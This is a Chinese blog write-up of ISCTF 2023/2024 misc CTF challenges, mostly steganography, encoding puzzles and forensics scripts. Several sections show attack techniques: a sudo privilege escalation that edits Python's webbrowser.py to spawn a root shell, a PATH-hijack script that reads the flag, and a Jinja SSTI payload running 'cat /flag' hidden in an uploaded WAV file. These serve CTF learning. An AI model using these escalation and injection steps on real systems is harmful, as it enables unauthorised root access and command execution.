isctf misc复现


ISCTF2023

小猫

题目描述:

1
小猫会把flag藏在哪里呢

下载附件

stegsolve查看红色3通道发现坐标

调成RGB000BGR以及LSB,发现存在jpg文件头

save bin保存,放入010删除多余的文件头

保存得到图片

横坐标代表行,纵坐标代表列,一一对应得到密文

exp:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
key = [['富强','自由' ,'爱国'],['民主', '平等' ,'敬业'] ,['文明','公正','诚信'],['和谐','法治','友善']]
wdf = [ (3,2),(3,2),(3,2),(3,3),(3,1),(3,2),(2,1),
(3,2),(4,2),(4,2),(3,3),(2,1),(3,2),(2,1),
(3,2),(4,1),(3,2),(2,1),(4,1),(2,1),(4,1),
(2,3),(4,1),(2,2),(3,2),(3,2),(3,2),(1,2),
(4,1),(4,1),(3,2),(1,2),(4,1),(1,1),(3,2),
(3,2),(4,1),(3,1),(4,1),(4,1),(4,1),(2,3),
(4,1),(3,1),(4,1),(2,2),(4,1),(1,2),(4,1),
(1,3),(3,2),(1,2),(4,1),(1,1),(4,1),(3,1),
(4,1),(2,3),(4,1),(4,2),(4,1),(3,2),(4,1),
(4,2),(3,2),(1,2),(3,2),(3,1),(3,2),(3,2),
(4,1),(4,2),(4,1),(3,2),(4,1),(3,2),(4,2),
(4,3),(4,2)]
for i in wdf:
x = i[0]-1
y = i[1]-1
print(key[x][y],end='')

运行

得到:

公正公正公正诚信文明公正民主公正法治法治诚信民主公正民主公正和谐公正民主和谐民主和谐敬业和谐平等公正公正公正自由和谐和谐公正自由和谐富强公正公正和谐文明和谐和谐和谐敬业和谐文明和谐平等和谐自由和谐爱国公正自由和谐富强和谐文明和谐敬业和谐法治和谐公正和谐法治公正自由公正文明公正公正和谐法治和谐公正和谐公正法治友善法治

社会核心价值观解码

最后flag为ISCTF{aca195fd3d0f2392548d029767dbf766}

你说你爱我?尊嘟假嘟?

下载附件

你说爱我 Ook.
尊嘟 Ook!
假嘟 Ook?

ook解码

base换表

最后flag为ISCTF{9832h-s92hw-23u7w-2j8s0}

小蓝鲨的秘密

题目描述:

小蓝鲨把自己的秘密藏起来了,你能发现小蓝鲨的秘密吗?

下载附件

伪加密

查看png文件

发现宽高有问题,宽高一把梭

得到15CTF2023

查看txt文件内容

AES解密

最后flag为ISCTF{2832-3910-232-3742-7320}

杰伦可是流量明星

下载附件

发现mp3文件内存太大,估计不是mp3文件,010查看

发现是rar文件,改后缀.rar,解压压缩包

流量文件一把梭试试

最后flag为ISCTF{wddhr836459_83}

蓝鲨的福利

题目描述:

小蓝鲨给师傅们送福利啦!

下载附件,发现是无后缀文件,010查看

发现是png文件,缺少文件头,添加文件头

保存打开图片,得到flag

最后flag为ISCTF{blueshark_welcome_you}

小白小黑

题目描述:

小白说:zo23n ,小黑说:f5s7e

开启环境

点击flag.txt

看数据长度为256*256就知道是画图,然后生成二维码

赛博厨子一把梭

最后flag为ISCTF{8d26f61c-fb2b-4c8f-826c-56b345de4dcb}

Ez_misc

题目描述:

ppt是个好东西呐

下载附件

查看ppt文件发现压缩包密码

解压压缩包得到文件

010查看文件发现是jpg文件,但缺少文件头,添加文件头

保存图片发现是二维码

扫描二维码

最后flag为ISCTF{5e093f8a-6b8c-4fa5-b9f7-0ae3b6b0da56}

spalshes

题目描述:

奇奇怪怪的数字,换个思路试试看

下载附件

查看文本文件内容

base解码

spalshes 中文意思是散点的意思,散点画图

exp:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
import matplotlib.pyplot as plt
lis =[1,2.75,1,1,2.5,1,1,2.25,1,1,1.75,1,1,2,1,1,3,1,1.5,3,1,2,3,1,2,2.75,1,2,2.5,1,2,2.25,1,2,2,1,2,1.75,1,2,1.5,1,1,2.25,1,1.5,2.25,1,1,1.5,1,1.5,1.5,1,4,2.75,1,4,2.5,1,3,3,1,3.5,3,1,4,3,1,3.5,2.25,1,4,2.25,1,4,2,1,4,1.75,1,4,1.5,1,3,1.5,1,3.5,1.5,1,3,2.25,1,3,2.5,1,3,2.75,1,5,3,1,5.5,3,1,6,3,1,6,2.25,1,6,2,1,6,1.75,1,6,1.5,1,5.5,1.5,1,5,1.5,1,5,2.25,1,5.5,2.25,1,5,2.5,1,5,2.75,1,7,3,1,7.5,3,1,8,3,1,8,2.5,1,8,2,1,8,1.5,1,8,2.75,1,8,2.25,1,8,1.75,1,9,3,1,9.5,3,1,10,3,1,10,2.75,1,10,2.5,1,10,2.25,1,9.5,2.25,1,9,2.25,1,9,1.5,1,9.5,1.5,1,10,1.5,1,10,2,1,10,1.75,1,11.5,3,1,12,3,1,11,3,1,12,2.25,1,12,2,1,12,1.75,1,12,1.5,1,11.5,1.5,1,11,1.5,1,11,1.75,1,11,2,1,11,2.25,1,11,2.5,1,11,2.75,1,11.5,2.25,1]
x = lis[0::3]
y = lis[1::3]
z = lis[2::3]
fig = plt.figure()
ax = plt.figure().add_subplot(111, projection = '3d')
ax.set_title('Spalshes')
ax.set_xlabel('X Label')
ax.set_ylabel('Y Label')
ax.set_zlabel('Z Label')
ax.scatter(x,y,z,c = 'r',marker = '.')
plt.legend('x1')
plt.show()

运行得到

压缩包密码为895736

解压压缩包,二维码

扫描二维码得到flag

最后flag为ISCTF{8374-su23-9s7e-237s-js65-55sg}

PNG的基本食用

下载附件

发现三个图片,说明三部分的flag

第一部分:

修改宽高得到第一部分flag

第二部分:

lsb隐写得到第二部分flag

第三部分:

改后缀zip,解压压缩包得到第三部分flag

最后组合flag为ISCTF{png-is-so-ez-for-you}

镜流

下载附件

发现带密码,爆破密码

解压压缩包,查看hint

图片缩小十倍,写一个脚本

exp:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
from PIL import Image
import numpy as np

input_file = '1new.png'
output_file = '1new_min.png'

input_image = Image.open(input_file)
w, h = input_image.size
input_image = np.array(input_image)
output_image = []

for i in range(0, h, 10):
line_pixel = []
for j in range(0, w, 10):
pixel = input_image[i,j]
line_pixel.append(pixel)
output_image.append(line_pixel)

output_image = np.array(output_image)
output_image = Image.fromarray(output_image)
output_image.save(output_file)

运行得到图片

lsb隐写,发现png文件

保存打开png文件

最后flag为ISCTF{JINGLIU_IS_SO_COOL}

stream

题目描述:

一名不知好歹的黑阔攻击了你的数据库,找到他干了什么!

下载附件

查看http请求头,发现存在sql布尔盲注流量

手搓太麻烦,直接一把梭

最后flag为ISCTF{0ops!-Y0u-F1nd-Th3-S3cret-flag!!!}

一心不可二用

题目描述:

小辉边敲代码边玩游戏,敲了两行代码就报错了,真的比彬彬还逊!

hint:远在天边,近在眼前

下载附件

010查看文件

发现藏压缩包,改后缀.zip

解压压缩包

用过 Python 的师傅都知道 unexpected EOF while parsing 应该是 SyntaxError,所以压缩包的密码是 SyntaxError。解压后得到 flag

最后flag为ISCTF{Err0R_is_no7_ex1ste9}

张万森,下雪了

题目描述:

我可以和你一起回家看雪吗?

下载附件

010查看无后缀文件

发现是压缩包文件,加后缀.zip,解压压缩包

查看文本文件内容

字典爆破

解压压缩包

查看tip.txt

base解码

词频统计

得到密码ISCTFZ023

根据题目得知snow隐写

最后flag为ISCTF{34da-a87s-sk87-s384-3982-398233}

ezUSB

流量一把梭

得到AGGSZ{Kp_wn_YRV_sov_jmfyffjs!!!}

AGGSZ”对应的肯定为“ISCTF,尝试出密码为soezusb

维吉尼亚解密

注意大小写

flag为ISCTF{So_ez_USB_and_vigenere!!!}

Beyond Hex, Meet Heptadecimal

题目描述:

我:给我来个自创的古典密码编码类型的题目 chatGPT:明白了,你想要一个编码题目,但它应该有一些非传统的编码方式。让我给你设计一个类似的题目。 你获得了一段看起来像是十六进制的字符串,但解码后得到的内容并不是预期的文本。你需要深入挖掘,并发现隐藏在其背后的秘密!

下载附件

可打印字符是0-127,2^7,七个一位输出对应的字符

exp:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
def getPos(string):
index = "0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ"
return index.index(string)

def main():
enc = "ID71QI6UV7NRV5ULVJDJ1PTVJDVINVBQUNT"
binary = []
# 转化偏移量到二进制并补齐
for i in enc:
binary.append(bin(getPos(i))[2:].zfill(5))
binary_string = "".join(binary)
# 按照7个一组分割并输出
for j in range(0,len(binary_string),7):
print(chr(int(binary_string[j:j+7],2)),end="")
print("\n")

if __name__ == "__main__":
main()

运行得到

最后flag为ISCTF{so_ez_flag_for_uuu}

DISK

题目描述:

Are you disk manager?

NTFS有系统日志与用户日志

下载附件,diskgenius挂载

查看txt文件

发现是假flag

查询 NTFS 文件系统日志可以发现其文件名被更改过,而且能找到原来的文件名,处理(long_to_bytes)后得到 flag

1
2
3
4
5
6
7
1230193492.txt 
1182487903.txt
1918846768.txt
811884366.txt
1413895007.txt
1298230881.txt
1734701693.txt

exp:

1
2
3
4
5
6
7
8
from Crypto.Util.number import *
print(long_to_bytes(1230193492))
print(long_to_bytes(1182487903))
print(long_to_bytes(1918846768))
print(long_to_bytes(811884366))
print(long_to_bytes(1413895007))
print(long_to_bytes(1298230881))
print(long_to_bytes(1734701693))

运行得到

最后flag为ISCTF{U_r_G00d_NTFS_Manager}

Wonderful New World

小蓝鲨误入了一个奇怪的世界,你能帮助小蓝鲨找到flag吗?

我的世界

x坐标是ASCII码,y坐标是随机数,z坐标是ASCII码在原字符串中的位置

而游戏中提示的到二次元去,实际上就是因为y坐标是随机数,我们只要把他投影到xOz平面中就可以发现规律了。

是一段base64,解base64即可获得一半flag

发现方块规律

黄色的(蜜块)代表短,绿色的粘液块代表长,转化为莫斯电码,解码获得另一半flag

最后flag为ISCTF{WELCOME_TO_MC_WORLD_IN_ISCTF}

EZcrc

题目描述:

简单的crc爆破

https://www.xuezimu.com.cn/info/26zimu.php

下载附件

crc爆破

里边是汉字,所以要用0-256来爆破,直接用zipfile库读出来的namelist不是0123456789的顺序,而是0,1,10这样的,需要排序一下

exp:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
import zipfile
import re

fns = lambda s: sum(((s,int(n)) for s,n in re.findall('(\D+)(\d+)','a%s0'%s)),())


file_handler = zipfile.ZipFile('crc.zip')#指定压缩包
name_list = sorted(file_handler.namelist(), key=fns)#使用一个列表获取压缩包内所有的文件名
crc_list = []
print('-------------Filename CRC Info-------------')
for name in name_list:
name_info = file_handler.getinfo(name)
crc_list.append(hex(name_info.CRC))
print('[+] {0}: {1}'.format(name,hex(name_info.CRC)))
print('-------------------------------------------')
print(crc_list)#根据情况获取,有时并压缩包内可能还有其他文件,可能需要切片,所以择情况选取

import binascii
import string

crc_list = [int(i,16) for i in crc_list]

def crack_crc():
print('-------------Start Crack CRC-------------')
# crc_list = [0x2b17958, 0xafa8f8df, 0xcc09984b, 0x242026cf]#文件的CRC32值列表,注意顺序
global crc_list
comment = []
chars = range(256)
for pos,crc_value in enumerate(crc_list):
flag = 0
for char1 in chars:
for char2 in chars:
for char3 in chars:
res_char = bytearray([char1,char2,char3])#获取遍历的任意3Byte字符
char_crc = binascii.crc32(res_char)#获取遍历字符的CRC32值
calc_crc = char_crc & 0xffffffff#将遍历的字符的CRC32值与0xffffffff进行与运算
if calc_crc == crc_value:#将获取字符的CRC32值与每个文件的CRC32值进行匹配
print('[+] <{}.txt> {}: {}'.format(pos,hex(crc_value),res_char))
comment.append(res_char)
flag = 1
if not flag:
print(f"error:{crc_value},Not found,{calc_crc}")
print('-----------CRC Crack Completed-----------')
print('Result: {}'.format(comment))
print(final := b"".join([bytes(i) for i in comment]).decode("utf-8"))
return final

crack_crc()#最终调用下边解码的时候这里需要注释掉

运行得到

中文转英文

exp:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
# -*- coding: GB2312 -*-
import base64

conversion_table = {
'A': '大写的啊',
'B': '大写的玻',
'C': '大写的雌',
'D': '大写的得',
'E': '大写的鹅',
'F': '大写的佛',
'G': '大写的哥',
'H': '大写的喝',
'I': '大写的衣',
'J': '大写的基',
'K': '大写的科',
'L': '大写的勒',
'M': '大写的摸',
'N': '大写的讷',
'O': '大写的喔',
'P': '大写的坡',
'Q': '大写的欺',
'R': '大写的日',
'S': '大写的思',
'T': '大写的特',
'U': '大写的乌',
'V': '大写的迂',
'W': '大写的巫',
'X': '大写的希',
'Y': '大写的衣',
'Z': '大写的资',
'a': '啊',
'b': '玻',
'c': '雌',
'd': '得',
'e': '鹅',
'f': '佛',
'g': '哥',
'h': '喝',
'i': '衣',
'j': '基',
'k': '科',
'l': '勒',
'm': '摸',
'n': '讷',
'o': '喔',
'p': '坡',
'q': '欺',
'r': '日',
's': '思',
't': '特',
'u': '乌',
'v': '迂',
'w': '巫',
'x': '希',
'y': '衣',
'z': '资',
}
numbers = {'0': '零', '1': '壹', '2': '贰', '3': '叁', '4': '肆', '5': '伍', '6': '陆', 7: '柒', '8': '捌', '9': '玖'}
table = dict([val, key] for key, val in conversion_table.items())
numbers = dict([val, key] for key, val in numbers.items())
# print(table[])
test = "大写的乌壹大写的资大写的喔大写的日大写的佛大写的资大写的佛大写的巫基得大写的喔玻大写的乌零资大写的巫大写的迂大写的日大写的迂大写的讷大写的乌壹大写的希大写的日大写的希大写的日大写的喔大写的迂大写的哥得陆大写的特摸科巫大写的摸大写的佛勒特大写的特摸希大写的摸大写的迂大写的哥雌希大写的特零大写的日基得大写的佛坡大写的喝大写的乌摸勒大写的讷大写的摸科勒叁大写的特大写的迂大写的日大写的日大写的摸大写的乌壹大写的鹅大写的思大写的特大写的讷摸大写的乌大写的特零玖"

for key in table:
test = test.replace(key, table[key])
for key in numbers:
test = test.replace(key, str(numbers[key]))
for key in numbers:
test = test.replace("歪", "y") # 这个地方比较特殊,在读音里面有两个衣
# print(test)
# print(test,conversion_table)
print(test)
print(base64.b64decode(base64.b64decode(test)))

运行得到flag

最后flag为ISCTF{6c7a591a-5836-4bce-8587-ddb3b0145027}

easy_zip

题目描述:

小蓝鲨忘记了他的压缩包密码,这可怎么办

下载附件

解压有密码,爆破密码

解压得到flag

最后flag为ISCTF{420ca0ec-e549-49b9-9c2b-5e7d2ba3621c}

sudopy

题目描述:

小蓝鲨:什么年代了还在用传统cat flag? ssh -p <端口号> <用户名>@<服务器地址> 登录凭证ctf:ctf

ssh登录

可以用 sudo 执行 /usr/bin/python3 /home/ctf/web.py,而 web.py 中用到了 webbrowser:

1
2
3
4
5
6
7
8
9
10
11
12
import webbrowser

def open_website(url):
try:
webbrowser.open(url)
print(f"Opening {url} in your default web browser...")
except Exception as e:
print(f"An error occurred: {e}")

website_url = "https://www.genshin.com"

open_website(website_url)

虽然不能修改 web.py,但是可以修改 webbrowser.py。使用 find 命令找到文件位于 /usr/lib/python3.10/webbrowser.py 在其中适合的位置插入一句 os.system('/bin/bash')

执行 sudo /usr/bin/python3 /home/ctf/web.py,就可以获得一个 root 的 Shell,然后就可以读取 flag

最后flag为ISCTF{5ac55115-5732-46ca-beda-c7967d2f29e7}

status

ssh登录

这道题的/etc/sudoers文件上权限了不可读,ls看到/home/ctf目录下有一个可执行文件checkgenshin,于是想到通过写入脚本的方式和可执行文件获取flag

首先在/home/ctf目录创建一个脚本,实现读取flag文件的功能,命令如下:

1
echo -e '#!/bin/bash\ncat /home/ctf/flag' > /home/ctf/service

然后将文件的执行权限设置为可执行,由此可以运行这个脚本,命令如下:

1
chmod =x /home/ctf/service

下面将/home/ctf目录添加到当前shell进程的PATH环境变量中,由此执行命令时,系统会首先在/home/ctf目录中查找可执行文件,然后再在其他目录中查找,命令如下:

1
export PATH=/home/ctf:$PATH

最后运行可执行文件checkgenshin,得到flag,命令如下:

1
./checkgenshin

最后flag为ISCTF{26f173ec-5312-45a3-b4f1-7685f51d533e}

ISCTF2024

小蓝鲨的签到01

扫描二维码发送“ISCTF2024”得到flag

最后flag为ISCTF{Welcome_to_blueshark}

小蓝鲨的签到02

题目描述:

1
这是一个签到

下载附件

使用010打开,发现末尾得到flag

最后flag为ISCTF{blueshark!_@#2024$%^&*}

小蓝鲨的问卷

填写问卷获得flag

最后flag为ISCTF{Meet_each_other_everywhere!!!}

数字迷雾:在像素中寻找线索

题目描述:

1
你将化身为像素侦探,穿梭于色彩斑斓的图片迷宫,用你的火眼金睛和编程魔法,揭开那些调皮像素点藏匿的秘密flag

下载附件

zsteg一把梭秒了

最后flag为ISCTF{+9qn1DKdun!glAK}

游园地1

题目描述:

1
guoql之前出游,去了一处全国遍地都有的一个地方,你能帮我找到具体位置吗?得到的结果用以下格式书写:ISCTF{xx省_xx市_xx区/县_具体所在地},推荐使用百度地图得到结果,不需要写街道等,如可写为河南省_郑州市_二七区_二七广场(并非答案)

下载附件

百度识图

搜索具体位置对照flag格式

1
最后flag为ISCTF{湖北省_武汉市_江汉区_中山公园}

游园地2

题目描述:

1
guoql又双叒出去玩了,作为一个老二次元,他当然要去圣地巡礼,你能找到这是什么地点吗?得到的结果用以下格式书写:ISCTF{xx省_xx市_xx区/县_具体所在地_圣地巡礼对应的游戏名称},如黑神话悟空

下载附件

结合上题以及这题的描述:”guoql又双叒出去玩了”,猜测是同一地方武汉,直接百度搜索武汉圣地巡礼

https://blog.l3zc.com/2023/08/wuhan-trip/

找到恋爱绮谭地方对比和附件很像

1
最后flag为ISCTF{湖北省_武汉市_江汉区_鸣笛1988商业街_恋爱绮谭}

少女的秘密花园

题目描述:

1
在一个充满童趣和幻想的世界里,有一位可爱的少女,她的微笑藏着一个无法抗拒的秘密!这张图片并不仅仅是她的可爱面容,更是一个待解的谜题.准备好迎接挑战了吗?快来解锁这位魅力少女的秘密,让她的微笑为你指引方向!✨

下载附件

哇塞,甜妹! 我喜欢

010查看文件

发现藏压缩包,提取出来

还是010查看文件

发现是zip文件,加后缀.zip

爆破密码,密码为040714

解压压缩包得到

base转图片,赛博厨子一把梭

保存图片并打开

怀疑宽高有问题,宽高一把梭

一开始以为是标准银河字母表发现对不上,后面考虑是不是二维码拼接,后来想想出题人应该不可能这么变态,后面

查到盲文发现对上了

对照得到:JFJUGVCGPNBTA3LFL4YG4X3GOIZTK2DNGNXH2

base32解码

最后flag为ISCTF{C0me_0n_fr35hm3n}

赢!rar

题目描述:

1
🐟神大半夜不睡觉给小秋发来了一个压缩包,笨笨的小秋翻完了所有文件都没找到flag,你能帮帮他么?

下载附件

发现压缩包密码,但找不到flag文本内容,使用7z打开压缩包

查看内容

xxencode解码

最后flag为ISCTF{Beat_SfTian!!!!}

老八奇怪自拍照

题目描述:

1
这一天,温水看了一下八奈见杏菜发的自拍照,立马给老八打电话,温水对老八说,521,老八对温水说,等你这句话很久了,接下来我会把隐藏的东西都给你

下载附件

stegsolve发现 red5,green2,blue1通道有明显隐写


勾选对应的521,发现藏有压缩包

保存并打开

查看文件属性

steghide隐写

最后flag为ISCTF{St4gs0lve_Rbg_S4eGh1de_H1de!!!}

File_Format

题目描述:

1
咦~ 小丽得到了一个文件,似乎只是套了一个壳子

下载附件

尝试加后缀.zip发现有密码

爆破密码得到: 241023

解压压缩包得到

最后flag为ISCTF{WinACE_is_Easy_Subject_0v0}

watermark

题目描述:

1
Do you understand watermarks?

下载附件

key1是文字盲水印

key2是图片盲水印

得到压缩包密码:FAAqDPjpgKJiB6m64oRvUfta9yJsBv

解压压缩包得到

搜索字符串ISCTF

最后flag为ISCTF{Watermark_is_used_2_protect%digital*assets}

秘密

题目描述:

1
这件事是我们两个之间的秘密,你最好不要告诉任何人......

下载附件

伪加密

010查看文件发现密码

结合题目描述以及文件名猜测oursecret隐写

零宽隐写

最后flag为ISCTF{Nic3_t0_m33t_you}

奇怪的txt

题目描述:

1
李华今天收到了一封奇怪的信,来信的人说他有很多玩偶,想使用一种方法将玩偶排序,他听说有一种方式是把一堆玩偶编号排成一个圈,假如从序号1开始,每当数到7时挑出这个玩偶,直到所有的玩偶都被挑选完毕,但是愚笨的他不知道这是什么意思,所以写信求助李华。假如你是李华,你能帮来信的人实现这个方法吗?

下载附件

根据提示找到是约瑟夫环

ai辅助编写排序脚本:

参考大佬脚本:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
import os

import re



def get_sorted_txt_files(folder_path):

"""

获取文件夹中所有的txt文件,并按其中的数字排序。

假设文件名中包含数字,并按数字从小到大排序。

"""

txt_files = [f for f in os.listdir(folder_path) if f.endswith('.txt')]

# 提取文件名中的数字,用于排序

def extract_number(filename):

match = re.search(r'(\d+)', filename)

return int(match.group(1)) if match else float('inf')

sorted_files = sorted(txt_files, key=extract_number)

return sorted_files



def select_every_seventh(sorted_files, step=7):

"""

按照每隔7个选择一个文件的规则,循环选择直到所有文件被选中。

返回选择的文件顺序列表。

"""

selected_order = []

files = sorted_files.copy()

index = 0



while files:

index = (index + step - 1) % len(files)

selected_file = files.pop(index)

selected_order.append(selected_file)

return selected_order



def write_selected_files_content(selected_files, folder_path, output_file):

"""

将选择的文件内容写入输出文件中,每个文件的内容之间用换行符分隔。

"""

with open(os.path.join(folder_path, output_file), 'w', encoding='utf-8') as outfile:

for filename in selected_files:

file_path = os.path.join(folder_path, filename)

with open(file_path, 'r', encoding='utf-8') as infile:

content = infile.read()

outfile.write(content + '\n') # 添加换行符以区分文件内容



def main():

# 设置文件夹路径和输出文件名

folder_path = r"E:\\脚本合集\\赛题脚本\\isctf2024\\奇怪的txt" # 替换为实际的文件夹路径

output_file = r"E:\\脚本合集\\赛题脚本\\isctf2024\\bianma.txt" # 输出文件名



# 获取并排序txt文件

sorted_files = get_sorted_txt_files(folder_path)

if not sorted_files:

print("指定的文件夹中没有找到txt文件。")

return



print("排序后的txt文件列表:")

for f in sorted_files:

print(f)



# 选择文件的顺序

selected_files = select_every_seventh(sorted_files, step=7)

print("\n选择文件的顺序:")

for i, f in enumerate(selected_files, 1):

print(f"{i}: {f}")



# 写入选中文件的内容到输出文件

write_selected_files_content(selected_files, folder_path, output_file)

print(f"\n所有选中文件的内容已写入 {output_file}")



if __name__ == "__main__":

main()

运行得到

连续base解码

最后flag为ISCTF{@!98sw-&^si92-2$#334-2024!!}

神秘ping

题目描述:

1
红队进了一个内鬼在传信息,你能发现传了什么信息吗

下载附件

010查看文件

发现字节翻转,尝试b神工具翻转,打开是流量包

tshark导出icmp到txt中

1
tshark -r reverse_1_ping.pcapng -Y "icmp.type == 8" -T fields -e ip.ttl > output.txt 

63 替换为00,127替换为01,191替换为10,255替换为11 ,不换行

八位一组转字符串

最后flag为ISCTF{h1De_1n_TtL}

像素圣战

题目描述:

1
萧瑟的景象,非常好的ISCTF,使我的工具旋转,爱来自河的南部

hint:

1
题目的信息来源不仅仅是附件里的内容,有时候题目的名字,附件的状态......可能都蕴含一些信息,拓宽你的思维,不要总将思路局限于附件内!

下载附件

PixelJihad隐写,密码为ISCTF,b神工具一把梭

将二进制字符串倒置 ,然后7位一组转ascii

最后flag为ISCTF{R3verse6_b1n4ry_l0l}

starry sky

题目描述:

1
抬头仰望天空,聆听来自宇宙的声音

下载附件

flag.txt

1
T4qIqpxAFAkzXdoH6Ji+VhH8j1ShJcz+7YcvwP5EBHcXp5OO5v0GHA==

发现st@rrysky.png图片不显示,010查看

base转图片

保存并用010查看发现key

xor得到音频文件

保存并打开

听了一下一眼无线隐写

得到deskey为YanHuoLG,DES解密

最后flag为ISCTF{Y0u_@r3_1ooking_@_st@rry_sky!}

神秘的wav

题目描述:

1
神秘的网站解析神秘的wav

下载附件

开启环境

通过题目上传题目给的音频得到路由source,访问发现源码,代码审计,发现render_template_string渲染音频内容,故纯在ssti,先创建一个空音频文件,然后再让ai写一段代码往音频里面写内容

exp:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
import wave
import numpy as np


def embed_message(wav_file, message, output_file):
# 将消息转换为二进制
message_bits = ''.join(format(ord(c), '08b') for c in message)

# 打开原始WAV文件
with wave.open(wav_file, 'rb') as wav:
params = wav.getparams() # 获取WAV文件的参数
frames = wav.readframes(wav.getnframes()) # 读取所有音频帧
frames_array = bytearray(frames) # 将音频帧转换为字节数组

# 确保消息可以被嵌入,检查音频数据的长度是否足够
if len(message_bits) > len(frames_array):
raise ValueError("消息太长,无法嵌入到音频文件中!")

# 遍历每一位消息并修改音频帧的最低有效位
for i in range(len(message_bits)):
if message_bits[i] == '1':
frames_array[i] |= 0b00000010 # 将最低有效位置为1
else:
frames_array[i] &= 0b11111101 # 将最低有效位置为0

# 创建新的WAV文件并保存修改后的音频数据
with wave.open(output_file, 'wb') as output_wav:
output_wav.setparams(params) # 设置输出文件的参数
output_wav.writeframes(bytes(frames_array)) # 写入修改后的音频帧

print(f"消息成功嵌入到 {output_file} 文件中!")


# 示例使用
embed_message("E:\\脚本合集\\赛题脚本\\isctf2024\\ssti\\stεganography.wav", '{{url_for.__globals__.os.popen(\'cat /flag\').read()}}', 'E:\\脚本合集\\赛题脚本\\isctf2024\\ssti\\2.wav')

运行得到新音频

上传新音频到靶机

最后flag为ISCTF{5aa2e1fe-6219-45d4-8c1c-f2f5e32ef5bf}

来自天外的信息(借鉴大佬博客)

题目描述:

1
你接收到了一段来自地球外的电波,你能解读其中的信息吗?

下载附件

Audacity
左上角 -> 文件 -> 导入 -> 原始数据
选择解压出的超大附件
参数根据文件名的提示 选择 64位 320000Hz

导入后一听
大抵还是 SSTV
R-SSTV 过一遍后得到图片

根据图片能大抵猜出是要修个二维码
Greetings from space 后面的符号长得像定位点
下面卫星旁的点阵 左上 右上 右下 缺的部分正好可以跟二维码的定位点对上
而右下放大看的话正好可以看出小定位点
使用一个 QRazybox 进行手绘修复

将清晰的部分修复好 再读纠错码就能拿到flag

最后flag为ISCTF{Th3_ROmaNtic_Of_Rad1o}


文章作者: yiqing
版权声明: 本博客所有文章除特別声明外,均采用 CC BY 4.0 许可协议。转载请注明来源 yiqing !
  目录